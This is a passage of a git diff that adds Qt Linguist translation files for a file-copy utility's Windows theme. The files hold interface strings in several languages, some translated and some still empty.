+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/es/translation.ts b/plugins-alternative/Themes/Windows/Languages/es/translation.ts
new file mode 100644
index 0000000..cc4de8a
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/es/translation.ts
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="es" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished">desde &lt;b&gt;%1&lt;/b&gt; (%2) hasta &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished">En espera</translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation>Nombre:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation>Desde:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation>Hasta:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation>Tiempo restante:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation>Items restantes:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation>Velocidad:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation>Más información</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation>Cancelar</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation>Añadir archivo</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation>Añadir carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation>Mover archivo(s)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation>Mueva la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation>Copia el archivo(s)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation>Copia la carpeta</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/fr/translation.ts b/plugins-alternative/Themes/Windows/Languages/fr/translation.ts
new file mode 100644
index 0000000..7f99e83
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/fr/translation.ts
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="fr" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation>Temps restant inconnu</translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Transfert de %n élément (%2)</numerusform>
+ <numerusform>Transfert de %n éléments (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Copie de %n élément (%2)</numerusform>
+ <numerusform>Copie de %n éléments (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Déplacement de %n élément (%2)</numerusform>
+ <numerusform>Déplacement de %n éléments (%2)</numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation>depuis &lt;b&gt;%1&lt;/b&gt; (%2) vers &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation>En attente</translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation>Déplacer des fichiers</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation>Déplacer un dossier</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation>Copier des fichiers</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation>Copier un dossier</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation>Ajouter un dossier</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation>Nom:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation>Depuis:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation>Vers:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation>Temps restant:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation>Éléments restants:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation>Vitesse:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation>Plus d&apos;information</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation>Annuler</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation>Ajout de fichier</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/hi/translation.ts b/plugins-alternative/Themes/Windows/Languages/hi/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/hi/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/hu/translation.ts b/plugins-alternative/Themes/Windows/Languages/hu/translation.ts
new file mode 100644
index 0000000..ef4bf6d
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/hu/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation>Ismeretlen hátralévő idő</translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation>
+ <numerusform>%n elem áthelyezése(%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation>
+ <numerusform>%n elem átmásolása(%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation>
+ <numerusform>%n elem mozgatása(%2)</numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation>&lt;b&gt;%1&lt;/b&gt; (%2) helyről-&gt; &lt;b&gt;%3&lt;/b&gt; (%4) helyre&lt;br /&gt;%5</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation>Várakozik</translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation>Név:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation>Forrás:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation>Cél:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation>Hátralévő idő:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation>Hátralévő elemek:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation>Sebesség:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation>Több információ</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation>Mégse</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation>Fájl hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation>Mappa hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation>Fájl(ok) mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation>Mappa mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation>Fájl(ok) másolása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation>Mappa másolása</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/id/translation.ts b/plugins-alternative/Themes/Windows/Languages/id/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/id/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/it/translation.ts b/plugins-alternative/Themes/Windows/Languages/it/translation.ts
new file mode 100644
index 0000000..c3d5a73
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/it/translation.ts
@@ -0,0 +1,125 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="it" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation>Tempo rediduo indeterminato</translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Trasferimento di %n elemento (%2)</numerusform>
+ <numerusform>Trasferimento di %n elementi (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Copia di %n elemento (%2)</numerusform>
+ <numerusform>Copia di %n elementi (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Spostamento di %n elemento (%2)</numerusform>
+ <numerusform>Spostamento di %n elementi (%2)</numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translatorcomment>Per esempio: da &lt;b&gt;Cartella di origine&lt;/b&gt; (e: precedente origine) to &lt;b&gt;Cartella di destinazione&lt;/b&gt; (d: destinazione desktop)&lt;br /&gt;Circa 5 ore rimanenti</translatorcomment>
+ <translation>da &lt;b&gt;%1&lt;/b&gt; (%2) a &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation>In attesa</translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation>Nome:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation>Da:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation>A:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation>Tempo residuo:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation>Elementi rimanenti:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation>Velocità:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation>Maggiori informazioni</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation>Annulla</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation>Aggiungi file</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation>Aggiungi cartella</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation>Sposta file</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation>Sposta la cartella</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation>Copia file</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation>Copia la cartella</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/ja/translation.ts b/plugins-alternative/Themes/Windows/Languages/ja/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/ja/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/ko/translation.ts b/plugins-alternative/Themes/Windows/Languages/ko/translation.ts
new file mode 100644
index 0000000..4d682a3
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/ko/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ko_KR">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="+204"/>
+ <location line="+188"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location line="-55"/>
+ <location line="+2"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location line="+7"/>
+ <location line="+2"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location line="+5"/>
+ <location line="+2"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location line="+48"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
